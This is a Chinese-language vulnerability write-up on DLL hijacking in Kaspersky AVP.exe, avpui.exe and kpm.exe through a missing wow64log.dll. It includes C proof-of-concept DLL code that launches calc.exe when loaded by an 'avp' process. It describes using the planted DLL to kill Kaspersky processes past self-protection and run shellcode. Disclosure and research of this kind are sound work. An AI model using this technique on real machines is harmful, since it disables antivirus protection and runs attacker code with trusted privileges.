Kaspersky AVP.exe DLL 劫持
Kaspersky AVP.exe 中的 DLL 注入允許本地管理員在不知道 Kaspersky 密碼的情況下殺死或篡改防病毒軟件和在高權限中執行命令。
在Kaspersky AVP.exe進程嘗試加載缺少的wow64log.dllDLL文件(在System32)。
通過DLL植入惡意文件,本地Windows管理員可以在這個受信任的AVP.exe進程的上下文中實現代碼執行并殺死其他進程,從而在無法檢測和清除病毒的殺毒軟件上實現拒絕服務和以卡巴斯基的身份執行任意命令。
版本
卡巴斯基安全軟件

AVP.exe版本

Kaspersky Password Manager Service

卡巴斯基安全軟件啟動的進程為:

Kaspersky Password Manager Service啟動的進程為:

ProCess Monitor
AVP.exe 加載不存在的wow64log.dll,路徑為C:\windows\System32\

Avpui.exe同樣加載不存在的Wow64log.dll,路徑為C:\windows\System32\

kpm.exe同樣加載不存在的Wow64log.dll,路徑為C:\windows\System32\

wow64log.dll與 WoW64 Windows 機制有關,該機制允許在 64 位 Windows 上運行 32 位程序。該子系統會自動嘗試加載它,但是它不存在于任何公共 Windows 版本中。
C:\Windows\System (Windows95/98/Me)C:\WINNT\System32(WindowsNT/2000)C:\Windows\System32 (Windows XP,Vista,7,8,10)
如果是64位文件C:\Windows\SysWOW64
作為管理員,我們可以構造惡意 wow64log.dll 文件復制到 System32 。
例如:
#include "pch.h"#include #include #include #include #include
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; CreateProcess(TEXT("C:\\Windows\\System32\\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: char szFileName[MAX_PATH + 1]; GetModuleFileNameA(NULL, szFileName, MAX_PATH + 1);
//check if we are injected in an interesting McAfee process if (strstr(szFileName, "avp") != NULL //|| strstr(szFileName, "mcshield") != NULL || strstr(szFileName, "avp.exe") != NULL ) { DisableThreadLibraryCalls(hModule); } else {
}
case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: //log("detach"); break; } return TRUE;}
手動復制在目標文件目錄中,然后啟動卡巴斯基,可以看到加載了我們的Wow64log.dll


啟動Kaspersky Password Manager Service

加載了我們的惡意DLL并執行了

卡巴斯基具有自我保護機制,即使管理員也無法終止或注入Avp.exe /avpui.exe等等 進程。但似乎卡巴斯基家族的所有進程都認為其他卡巴斯基進程在自我保護方面是“受信任的”。因此,如果我們設法在一個上下文中執行代碼,我們就可以“攻擊”并殺死其進程和在卡巴斯基中執行任意命令等等。


我們可以編譯一個惡意的dll利用卡巴斯基的進程去kill其它卡巴斯基的進程。


也可以在卡巴是安全上下文中執行我們的shellcode 例如:
